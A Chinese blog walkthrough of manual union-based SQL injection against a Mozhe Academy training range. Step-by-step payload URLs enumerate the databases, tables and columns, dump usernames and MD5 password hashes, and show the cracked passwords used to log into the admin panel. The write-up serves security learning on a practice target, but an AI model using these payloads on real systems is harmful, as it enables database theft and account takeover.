SQL手工注入笔记1

MySQL 数据库
SQL手工注入漏洞测试(MySQL数据库)
参考链接
实战靶场链接 SQL手工注入漏洞测试(MySQL数据库)
图片链接都是我自建的博客里的,可能加载比较慢.
我的个人博客

首先先复习以下MySQL自带表中记录的信息

information_schema数据库中的
'SCHEMATA' 表记录整个数据库服务器中的库名称 ,'SCHEMA_NAME'是库名.
'TABLES'表记录每个库中的所有表名,'TABLE_SCHEMA'为库名,'TABLE_NAME'为对应的表名(多行).
'COLUMNS'表记录着服务器数据库中所有表的字段 'TABLE_SCHEMA'对应数据库名,'TABLE_NAME'对应表名,'COLUMN_NAME'对应字段名,'COLUMN_TYPE'对应字段数据类型.

确定是否可以注入


地址栏在id=1 后面输入 and 1 = 2,

http://219.153.49.228:46538/new_list.php?id=1 and 1 = 2

相当于在数据库执行了以下语句

select * from '表名未知' WHERE id = 1 and 1 = 2

在sql中,WHERE 后接条件,AND表示和,比如:
X AND Y
需要 X 和 Y同时为真,也就是同时正确,sql服务器才会返回数据,然而1=2显然是错误的,所以返回结果为空

回车发现报错,可以注入.

判断表中字段数.

浏览器地址栏输入

http://219.153.49.228:46538/new_list.php?id=1 order by 5

sql语句

select * from '表名未知' WHERE id = 1 order by 5

结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OIuz6NWW-1589477975714)(https://blog.2333hbg.xyz/image/SQL/sql1/2.PNG)]
报错,证明当前表中字段不超过5个字段.
将5换为4

http://219.153.49.228:46538/new_list.php?id=1 order by 4

结果:

正常.(order by要试到最大且不报错的数字).

判断显示的文本所在的字段.

浏览器输入

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,2,3,4

结果:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JspeTOoR-1589477975719)(https://blog.2333hbg.xyz/image/SQL/sql1/4.PNG)]

sql语句

select * from 表名 WHERE id = 1 AND 1=2 union select 1,2,3,4

可以看到本应是标题的文字变为了2,正文变为了3

union为联合查询,联结两个查询语句
因为第一条语句是空结果的,返回第二条语句的结果.第二条语句因为没有指定表名和条件,所以只返回1,2,3,4.


我们再去自己的数据库看看:

这是正常的查询语句

select * from 'stuinfo' WHERE id = 1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K691tanm-1589477975721)(https://blog.2333hbg.xyz/image/SQL/sql1/5.png)]

加上and 1 = 2后

select * from 'stuinfo' WHERE id = 1 and 1 = 2

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x1I3vmFK-1589477975722)(https://blog.2333hbg.xyz/image/SQL/sql1/7.png)]
and 1 = 2不成立,所以返回了空结果

再加上union select 1,2,3,4,5,6,7,8(因为我的表有八个字段)

select * from 'stuinfo' WHERE id = 1 and 1 = 2 union select 1,2,3,4,5,6,7,8

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ejKoMmxh-1589477975724)(https://blog.2333hbg.xyz/image/SQL/sql1/6.png)]

union为联合查询,联结两个查询语句
因为第一条语句是空结果的,返回第二条语句的结果.第二条语句因为没有指定表名和条件,所以只返回1,2,3,4,5,6,7,8.

可以看到,原来的结果全部替换为了1到8,这就是为什么标题和正文被替换成了2和3.


所以我们可以在

中的2和3替换查询我们需要的数据(字段).

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,2,3,4

union为联合查询,联结两个查询语句(select*)

查询当前数据库名称和数据库版本:

浏览器输入:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,database(),version(),4

结果:

图中可以看到当前数据库名称为’mozhe_Discuz_StormGroup’,数据库版本以及服务器系统版本为’5.7.22-0ubuntu0.16.04.1’

查询整个服务器中全部库名称

这里要用到我们之前提到的’information_schema服务器数据库’中’SCHEMATA’表


我们先看看SCHEMATA表的信息(我自己的服务器)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zEAUMFDi-1589477975726)(https://blog.2333hbg.xyz/image/SQL/sql1/15.png)]
可以看到整个服务器中的数据库名都在这里.

再看看查询语句的结果:

SELECT * FROM `SCHEMATA`

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E7ApVlzP-1589477975727)(https://blog.2333hbg.xyz/image/SQL/sql1/16.png)]

可以看到列出了全部结果,如果我们只需要第一条数据怎么办?

SELECT * FROM `SCHEMATA`  limit 0,1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UT0CByoO-1589477975729)(https://blog.2333hbg.xyz/image/SQL/sql1/17.png)]

可以再语句后添加limit 0,1

0表示从所有结果中在第一行开始取数据,后面的1表示从取出的数据中显示一条数据.

取第二条数据:

SELECT * FROM `SCHEMATA`  limit 1,1

1表示从所有结果中在第2行开始取数据,后面的1表示从取出的数据中显示一条数据.


获取靶机服务器中全部数据库名:

浏览器:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3qmBXu7o-1589477975732)(https://blog.2333hbg.xyz/image/SQL/sql1/9.PNG)]

'SCHEMA_NAME’为需要查询表的字段名,from后接在哪里查询

‘information_schema.SCHEMATA’ 指的是在
information_schema这个数据库中的SCHEMATA表.

limit 0,1 是在结果中的第0行取出1行 (以为我们这里只能显示一行数据,我们只要单行结果)

所以我们得到整个服务器数据库中’information_schema’是第一个数据库

继续浏览器,将limit 0,1改为limit 1,1,取第二行

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 1,1

结果
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7wwo1MaB-1589477975733)(https://blog.2333hbg.xyz/image/SQL/sql1/10.PNG)]

可以看到第二个数据库为’mozhe_
Discuz_StormGroup’

继续 将limit 1,1改为limit 2,1,取第三行

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 2,1

结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jet0O9vF-1589477975733)(https://blog.2333hbg.xyz/image/SQL/sql1/11.PNG)]

得到第三个数据库为’mysql’

继续 limit 2,1 > limit 3,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 3,1

结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AleYIGl3-1589477975734)(https://blog.2333hbg.xyz/image/SQL/sql1/12.PNG)]

得到第四个数据库为’performance_schema’

继续 limit 3,1 > limit 4,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1

结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PVlRBaHb-1589477975735)(https://blog.2333hbg.xyz/image/SQL/sql1/13.PNG)]

第五个数据库为’sys’

继续 limit 4,1 > limit 5,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1

结果:

可以看到结果为空,也就是说服务器中只有五个数据库:

序号 库名称
1 information_schema
2 mozhe_Discuz_StormGroup
3 mysql
4 performance_schema
5 sys

从中可以看到,只有’mozhe_
Discuz_StormGroup’这个库是和我们需要的有关联.
因此,我们需要查询下这个库中有那些表,以获得我们需要的密码.

查询指定库中所有表

查询库名称:mozhe_
Discuz_StormGroup

这里要用到information_schema库中的TABLES 表


先看看这个TABLES表结构(自己服务器):

可以看到,表中字段’TABLE_SCHEMA’对应的是库名称,同行中的’TABLE
_NAME’是这个库中的表名称.
如果说我想查询’wordpress’这个库中的全部表

SELECT * FROM `TABLES` WHERE `TABLE_SCHEMA` = 'typecho'

结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JjJUvyfV-1589477975739)(https://blog.2333hbg.xyz/image/SQL/sql1/20.png)]

可以看到库名为’typecho’的库中的所有表信息.
因为我们这里只需要一行一行地查询,所以要在后面加上limit x ,x .


靶机:

浏览器:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1

结果:

'TABLE_NAME’为表名, from 后接库名.表名
WHERE 后接 条件

limit 0 ,1 取出结果第一条数据.

这里使用的是 查询 ‘TABLE
_SCHEMA’ 为 ‘mozhe
_
Discuz_StormGroup’ 的数据,显示查询结果中的’TABLE
_NAME’字段的信息,并只取1条

得到第一张表为’StormGroup_member’

继续 取第二条数据: limit 0,1 > limit 1,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 1,1

结果:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L68JGkSK-1589477975740)(https://blog.2333hbg.xyz/image/SQL/sql1/22.PNG)]
得到第二张表为’notice’

继续 limit 1,1 > limit 2,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 2,1

结果:

空,即是无,这个库只有两张表.

序号 库名 表名
1 mozhe_Discuz_StormGroup StormGroup_member
2 mozhe_Discuz_StormGroup notice

查询表字段

这里用到information_schema库中的COLUMNS表.
先看看这张表的结构.

SELECT * FROM `COLUMNS`

直接上表吧.

字段 含义 备注
TABLE_SCHEMA 数据库名称
TABLE_NAME 表名
COLUMN_NAME 字段名
DATA_TYPE 字段数据类型 没截到,图中没有

如果我们要查库名为’test1’里的’stuinfo’表的话

SELECT * FROM `COLUMNS` WHERE `TABLE_SCHEMA` = 'test1' AND `TABLE_NAME` = 'stuinfo'

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wnguO54S-1589477975743)(https://blog.2333hbg.xyz/image/SQL/sql1/25.png)]

FROM后接表名
WHERE后接条件
AND连接两个条件,两个条件必须存在且完全正确才返回结果.前面的’and 1 = 2’就是让原来的查询结果返回空值
如果要返回一条结果,用limit.


靶机:

这次我们赌StormGroup_member表有我们需要的数据.

浏览器:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wZYjvM4Q-1589477975744)(https://blog.2333hbg.xyz/image/SQL/sql1/26.PNG)]

WHERE 后面的

TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1

TABLE_SCHEMA=‘库名’
TABLE
_NAME=‘表名’
limit 0,1 取第一行数据.

union后面的:

select 1,COLUMN_NAME,COLUMN_TYPE,4

分别在2和3显示’COLUMN_NAME’和’COLUMN
_TYPE’字段的数据.

图中可以看到表’StormGroup_member’第一个字段为’id’,数据类型为’int(11)’

然后继续 limit 0,1 > limit 1,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 1,1

得到第二个字段为’name’,数据类型为’varchar(20)’

继续: limit 1,1 > limit 2,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 2,1


第三字段为’password’ 数据类型’varchar(255)’

继续 limit 2,1 > limit 3,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 3,1


第四字段为’status’ 数据类型’int(11)’

继续 limit 3,1 > limit 4,1

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 4,1

空即无,我们得到了以下数据:

序号 数据库 表名 字段名 数据类型
1 mozhe_Discuz_StormGroup StormGroup_member id int(11)
2 mozhe_Discuz_StormGroup StormGroup_member name varchar(20)
3 mozhe_Discuz_StormGroup StormGroup_member password varchar(255)
4 mozhe_Discuz_StormGroup StormGroup_member status int(11)

查询表中有几条数据

count()函数在MySQL中是统计结果的行数.

浏览器:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,2,count(*),4  from mozhe_Discuz_StormGroup.StormGroup_member

from mozhcounte_Discuz_StormGroup.StormGroup_member

在 mozhe_Discuz_StormGroup 库中的 StormGroup_member 表查询

count(*)返回结果条数

从图中可以看到有2条记录

查询表中记录的值

因为只显示两个字段信息,先查询name和password字段.

也可以使用CONCAT()函数来连接多个字段的结果,这里使用最笨的方法.

浏览器:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,password,4  from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1


得到name和password字段信息
再次查询status字段信息:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,status,4  from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kgdJ2gZu-1589477975751)(https://blog.2333hbg.xyz/image/SQL/sql1/33.PNG)]
得到status为0.

因为之前查询到表中有两条记录,所以我们查询第二条
limit 0,1 > limit 1,1

浏览器:

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,password,4  from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H73pfEyP-1589477975752)(https://blog.2333hbg.xyz/image/SQL/sql1/34.PNG)]
查status

http://219.153.49.228:42679/new_list.php?id=1 and 1 = 2 union select 1,name,status,4  from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8gI1Wsok-1589477975752)(https://blog.2333hbg.xyz/image/SQL/sql1/35.PNG)]

得到以下信息:

序号 name password status
1 mozhe 356f589a7df439f6f744ff19bb8092c0 0
2 mozhe 625cea684400c06679e63e798755a350 1

status我感觉为1的是激活的,0为禁用的.
通常来说,password是使用MD5加密,我们去网上解密.
得到结果:

序号 name password status
1 mozhe dsan13 0
2 mozhe 177572 1

然后登录后台,结束.

如果有哪里写的不好的地方,欢迎指出,谢谢.

SQL手工注入笔记1相关推荐

  1. SQL手工注入网站笔记

    SQL手工注入网站笔记 目标网站:http://testphp.vulnweb.com/listproducts.php?cat=1 1.判断注入点: http://testphp.vulnweb.c ...

  2. 墨者学院刷题笔记——SQL手工注入漏洞测试(MongoDB数据库)

    今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL手工注入漏洞测试(MongoDB数据库). 一.题目简介 我们这里采用墨者学院的MongoDB数据库渗透测试题目,其地址为:https:/ ...

  3. python sql注入脚本_python辅助sql手工注入猜解数据库案例分析

    发现存在sql注入漏洞 简单一点可以直接用sqlmap工具暴库 但是如果想深入理解sql注入的原理,可以尝试手工注入,配合python脚本实现手工猜解数据库 首先hachbar开启 获取cms登录后的 ...

  4. 墨者靶场-SQL手工注入漏洞测试(MySQL数据库-字符型)

    0x00 前言 我们都知道,SQL注入分数字型和字符型,我们上次讲的是最基本的数字型SQL注入,这次我们就来讲最基本的字符型SQL注入.同样,如果是明白原理和方法的话,看懂这篇文章并不难,但是如果不清 ...

  5. 墨者学院01 SQL手工注入漏洞测试(MySQL数据库)

    问题描述 鉴于我已经两周没能成功运行攻防世界的靶场环境...于是昨天又搜了一些网站,感觉墨者学院的题目还可以~ SQL手工注入虽然是一个已经被安全博主讲烂的主题,但是我之前很少有从头到尾实践手工注入的 ...

  6. SQL手工注入漏洞测试(Oracle数据库)

    SQL手工注入漏洞测试(Oracle数据库) 0x01前言 本文旨在讲述Oracle数据库多种情况下如何进行注入 靶场地址:SQL手工注入漏洞测试(Oracle数据库)_SQL注入_在线靶场_墨者学院 ...

  7. Oracle数据库注入-墨者学院(SQL手工注入漏洞测试(Oracle数据库))

    本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(Oracle数据库). 地址:http://124.70.22.208:42948/new_list.php?id=1(注意地址已 ...

  8. 墨者学院SQL手工注入靶场漏洞详解

    墨者学院SQL手工注入靶场漏洞详解 目录 靶场地址 步骤详解 目录 靶场地址 该靶场由墨者学院安全工程师"墨者"所搭建,靶场环境为Nginx+PHP+MySQL,启动靶场只需1墨币 ...

  9. SQLServer数据库注入-墨者学院(SQL手工注入漏洞测试(Sql Server数据库))

    本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(Sql Server数据库). 地址:http://219.153.49.228:42295/new_list.asp?id=2( ...

  10. MongoDB数据库注入-墨者学院(SQL手工注入漏洞测试(MongoDB数据库))

    本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(MongoDB数据库). 地址:http://124.70.71.251:46804/new_list.php?id=1(注意这里 ...

最新文章

  1. “互联网+”的时代,易佳互联也随着时代步伐前进着
  2. 在进度面前,质量该不该打折?
  3. 5获取按钮返回值消息_大数据从入门到深入:JavaEE 之 项目实战 项目基础编码阶段(5)...
  4. Springboot中使用Google 的Kaptcha工具实现验证码校验
  5. Spring Cloud各组件超时
  6. northstar机器人编程_《机器人构建实战》——导读
  7. 就数据平台建设,80%的500强企业都有一个共性
  8. Packet Voice Modeling 语音包模型
  9. 搭建IPv6网络环境
  10. Linux 服务器网卡驱动安装及故障排除
  11. C++动态库和静态库的使用方法和区别
  12. java微信公众号授权登陆
  13. 邹小强老师的个人目标管理分享课
  14. 流媒体播放器播放h264编码视频与h265编码视频哪个更清晰?
  15. 计算机睡眠状态单机游戏,睡眠神经图 电脑版
  16. jdk11中使用JavaFx
  17. 机器人技术与应用笔记
  18. 部落冲突上链,币安领投Heroes of Mavia带来全新模式
  19. delphi百度文字识别(支持通用文字识别、身份证识别、银行卡识别、驾驶证识别、行驶证识别、车牌识别等功能)
  20. 小精灵定时关机 官网

热门文章

  1. opencv vector matlab,opencv实现 Matlab 寻找峰值函数 findpeaks
  2. 财帮子,一个非常不错的投资理财社区
  3. 混合开发模式下主流移动开发平台分析
  4. 网易云信服务监控平台实践
  5. socket套接字编程 | 粘包现象 | 报头 | struck模块
  6. 【Easyx库】(1)
  7. 磁盘列阵技术介绍及其部署
  8. Java初学者日志_05
  9. aruba交换机配置命令_aruba配置手册
  10. Java学多久可以接项目_自学Java,多久可以找到工作?